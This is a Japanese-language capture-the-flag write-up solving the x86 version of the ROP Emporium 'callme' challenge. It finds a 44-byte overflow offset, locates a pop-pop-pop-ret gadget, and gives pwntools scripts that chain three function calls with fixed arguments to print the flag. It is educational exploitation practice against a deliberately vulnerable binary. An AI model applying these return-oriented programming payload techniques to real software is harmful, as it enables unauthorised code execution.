ROP Emporium: callme (pwn)
x86版を解く。
callme_one,callme_two,callme_threeの順に、引数を0xdeadbeef,0xcafebabe,0xd00df00dとして呼び出せば良い。つまり初手はcallme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d)ということ。
PEDAでpattc 100した文字列を入力するとセグフォ。AFAAがEIPに入ってストップしている。patto AFAAをするとオフセットは44だとわかる。 code:txt
$ rabin2 -i callme32 | grep callme
3 0x080484e0 GLOBAL FUNC callme_three
4 0x080484f0 GLOBAL FUNC callme_one
11 0x08048550 GLOBAL FUNC callme_two
とりあえず引数を3つ揃えてcallme_oneのアドレスに飛んでみる。
code:py
from pwn import *
args = p32(0xdeadbeef) + p32(0xcafebabe) + p32(0xd00df00d)
payload = b"A" * 44
payload += p32(0x080484f0) # one
payload += args
open("payload.bin", "wb").write(payload)
そうすると0xdeadbeefの一致を検証するところcmp DWORD PTR [ebp+0x8],0xdeadbeefでZFが立たない。
x/wx $ebp+8を実行すると0xcafebabeになっている。よってargsの前に4バイトのダミーデータ(AAAA)を入れる。そしたらチェックが通った。
そのまま実行を続けるとcallme_oneのretに到達したときESPがこのAAAAを指している。このままだと0x41414141に飛んでしまいエラーが起きて実行が終了する。
そこで3つの引数をスタックからpopしてcallme_twoにIPを飛ばせば実行を続行することを試みる。
$ ROPgadget --binary callme32 | grep "pop"を実行すると、0x080487f9 : pop esi ; pop edi ; pop ebp ; retという丁度いいものが見つかる。
実行すると想定した通りに動くため、同様にcallme_threeまで実行するペイロードを作る。
code:py
from pwn import *
args = p32(0xdeadbeef) + p32(0xcafebabe) + p32(0xd00df00d)
gadget = p32(0x080487f9)
payload = b"A" * 44
payload += p32(0x080484f0) # one
payload += gadget
payload += args
payload += p32(0x08048550) # two
payload += gadget
payload += args
payload += p32(0x080484e0) # three
payload += gadget
payload += args
open("payload.bin", "wb").write(payload)
このペイロードを読み込ませるとフラグが表示された。